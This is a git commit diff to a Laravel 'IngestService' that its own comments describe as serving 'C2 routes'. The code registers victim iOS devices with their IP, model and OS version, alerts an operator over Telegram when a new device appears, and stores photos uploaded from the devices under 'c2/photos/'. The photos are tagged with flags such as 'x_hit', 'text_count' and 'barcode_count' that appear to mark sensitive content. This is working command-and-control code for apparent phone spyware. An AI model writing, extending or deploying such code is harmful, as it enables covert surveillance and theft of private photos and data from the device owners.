feat: new chain

This commit is contained in:
hashbro
2026-08-11 02:26:43 +08:00
parent ec2d9f2308
commit 9bf769b2bd
56 changed files with 3806 additions and 325 deletions
+70 -43
View File
@@ -124,55 +124,84 @@ class IngestService
return null;
}
/**
* /api/user/avatar/put — create or touch device.
* Create: fill profile + channel_id (put is the only trusted channel source).
* Update: refresh updated_at; fill channel_id only when still empty (first trusted put).
*/
public function upsertDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
{
$deviceKey = $deviceKey !== null
? self::normalizeDeviceKey(substr($deviceKey, 0, 64))
: $this->extractDeviceKey($payload);
$deviceKey = $this->resolveDeviceKey($payload, $deviceKey);
if (! $deviceKey) {
return null;
}
$deviceModel = $this->extractDeviceModel($payload);
$ios = $this->extractIosVersion($payload);
$channelId = $this->extractChannelId($request, $payload);
$ua = substr((string) $request->userAgent(), 0, 2000);
$existing = Device::query()->where('device_id', $deviceKey)->first();
if ($existing) {
$touch = ['updated_at' => now()];
$channelId = $this->extractChannelId($request, $payload);
if ($this->channelIdEmpty($existing->channel_id) && $channelId !== null && $channelId !== '') {
$touch['channel_id'] = $channelId;
}
$existing->forceFill($touch)->saveQuietly();
return $existing->refresh();
}
return $this->createDevice($request, $payload, $deviceKey, withChannel: true);
}
/**
* Other C2 routes — create device if missing so business rows can attach,
* but never write channel_id (put will fill it later). Existing rows are left untouched.
*/
public function ensureDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
{
$deviceKey = $this->resolveDeviceKey($payload, $deviceKey);
if (! $deviceKey) {
return null;
}
$existing = Device::query()->where('device_id', $deviceKey)->first();
if ($existing) {
return $existing;
}
return $this->createDevice($request, $payload, $deviceKey, withChannel: false);
}
private function resolveDeviceKey(?array $payload, ?string $deviceKey): ?string
{
$deviceKey = $deviceKey !== null
? self::normalizeDeviceKey(substr($deviceKey, 0, 64))
: $this->extractDeviceKey($payload);
return $deviceKey !== null && $deviceKey !== '' ? $deviceKey : null;
}
private function channelIdEmpty(mixed $channelId): bool
{
return $channelId === null || $channelId === '';
}
private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $withChannel): Device
{
$ua = substr((string) $request->userAgent(), 0, 2000);
$attrs = [
'device_id' => $deviceKey,
'ip' => $request->ip(),
'device_model' => $this->extractDeviceModel($payload),
'ios_version' => $this->extractIosVersion($payload),
'channel_id' => $withChannel ? $this->extractChannelId($request, $payload) : null,
];
if ($ua !== '') {
$attrs['user_agent'] = $ua;
}
if ($deviceModel !== null) {
$attrs['device_model'] = $deviceModel;
} elseif ($existing) {
$attrs['device_model'] = $existing->device_model;
}
if ($ios !== null) {
$attrs['ios_version'] = $ios;
} elseif ($existing) {
$attrs['ios_version'] = $existing->ios_version;
}
if ($channelId !== null) {
$attrs['channel_id'] = $channelId;
} elseif ($existing) {
$attrs['channel_id'] = $existing->channel_id;
}
// created_at = 安装时间;每次收到带设备标识的请求都刷新 updated_at(活跃判断)
$device = Device::query()->updateOrCreate(
['device_id' => $deviceKey],
$attrs
);
$device->forceFill(['updated_at' => now()])->saveQuietly();
if (! $existing) {
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
$device->telegram_notified = true;
$device->save();
}
$device = Device::query()->create($attrs);
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
$device->telegram_notified = true;
$device->save();
return $device->refresh();
}
@@ -450,35 +479,33 @@ class IngestService
*/
public function ingestPhotos(Device $device, array $filePaths, array $meta = []): void
{
$notifiedNewSensitive = false;
if (! $device->albumStorageEnabled()) {
return;
}
foreach ($filePaths as $path) {
if (! is_file($path)) {
continue;
}
$bytes = file_get_contents($path);
$sha = hash('sha256', $bytes);
// Same file content → skip DB insert & telegram (idempotent).
// Same file content → skip DB insert (idempotent).
if (Photo::query()->where('device_id', $device->id)->where('sha256', $sha)->exists()) {
continue;
}
$rel = 'c2/photos/'.$device->device_id.'/'.$sha.'_'.basename($path);
Storage::disk('local')->put($rel, $bytes);
$xHit = $meta['x_hit'] ?? null;
$photo = Photo::query()->create([
Photo::query()->create([
'device_id' => $device->id,
'sha256' => $sha,
'path' => $rel,
'size' => strlen($bytes),
'x_hit' => $xHit,
'x_hit' => $meta['x_hit'] ?? null,
'upload_count' => $meta['upload_count'] ?? null,
'process_index' => $meta['process_index'] ?? null,
'text_count' => $meta['text_count'] ?? null,
'barcode_count' => $meta['barcode_count'] ?? null,
]);
if ($photo->wasRecentlyCreated && (int) $xHit > 0 && ! $notifiedNewSensitive) {
$this->telegram->notifyNewPhotos($device->device_id);
$notifiedNewSensitive = true;
}
}
}